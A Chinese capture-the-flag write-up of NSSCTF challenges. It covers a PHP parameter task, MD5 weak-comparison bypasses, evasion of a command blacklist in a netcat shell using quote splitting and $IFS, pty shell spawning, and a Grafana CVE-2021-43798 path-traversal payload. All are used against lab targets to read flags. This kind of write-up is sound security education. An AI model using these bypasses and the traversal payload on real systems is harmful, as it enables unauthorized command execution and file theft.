2023-04-18

NSS第一题

image.png
通过阅读代码,可以看出是要求你通过POST请求传递一个id为"wllmNB"参数的同时,通过get请求也传递一个json格式的参数,关键payload如下:

POST /?json={"x":"wllm"} HTTP/1.1
...

id=wllmNB

第二题easy MD5

image.png
POST、GET、MD5匹配

仔细阅读代码发现

if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    } 

既要两变量个值不相同,又要两个变量md5值一样,
可以发现此时判断md5值是否一样用的是==,这是php的弱类型比较,
方法一: 可以使用带0e开头的数字穿进行传递参数,
        因为php会将0e开头的数字转化为0,故此时md5值相等,而两个变量值不相等;
方法二: 可以传递数组,如name[]=123,password[]=456,md5不能加密数组,故两个md5返回的都是null

另:若遇到===这样的强类型比较,方法一就失效了,
    方法二仍然有效,或者还可以使用软件fastcoll进行md5碰撞,生成两个字符串使得他们的md5值相同

nc签到题

直接nc连接就可以

nc 1.14.71.254 28184

root@2837d425b7c744ca:/# cat mai
cat main.py 
import os

art = '''

   ((  "####@@!!$$    ))
       `#####@@!$$`  ))
    ((  '####@!!$:
   ((  ,####@!!$:   ))
       .###@!!$:
       `##@@!$:
        `#@!!$
  !@#    `#@!$:       @#$
   #$     `#@!$:       !@!
            '@!$:
        '`\   "!$: /`'
           '\  '!: /'
             "\ : /"
  -."-/\\\-."//.-"/:`\."-.JrS"."-=_\\
" -."-.\\"-."//.-".`-."_\\-.".-\".-//'''
print(art)
print("My_shell_ProVersion")


blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']

while True:
    command = input()
    for i in blacklist:
        if i in command:
            exit(0)
    os.system(command)

过滤了空格、ls、cat、<等,可以使用引号截断绕过,

pwd
/



l's'
bin
boot
dev
etc
flag
home
lib
lib64
main.py
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp
usr
var


c'at'$IFS$9flag



!!!!其他方法!!!!
=======
 a=c;b=a;c=t;$a$b$c$IFS$1flag

nl$IFS$9f*
=======


在bash的shell下,nc完了直接输su,然后没反应,
不用管,继续输cat flag就出来了哈哈哈,不过我试了一下zsh情况下却打不通

su 

id
uid=0(root) gid=0(root) groups=0(root)
zsh

id
uid=0(root) gid=0(root) groups=0(root)
这里以后输入命令就不会有任何限制了

ls
bin
boot
dev

python3 -c "import pty;pty.spawn('/bin/bash')"


root@2837d425b7c744ca:/# ls
ls
bin   dev  flag  lib    main.py  mnt  proc  run     sbin  sys  usr
boot  etc  home  lib64  media    opt  root  run.sh  srv   tmp  var

root@2837d425b7c744ca:/# cat flag
cat flag 
NSSCTF{18d9a291-706e-4f17-9759-90e0af7e985f}
root@2837d425b7c744ca:/# 


NSS 实战

CVE-2021-43798 Grafana任意文件读取
抓包,修改路径
/public/plugins/gauge/../../../../../../../../../flag

image.png

你可能感兴趣的:(2023-04-18)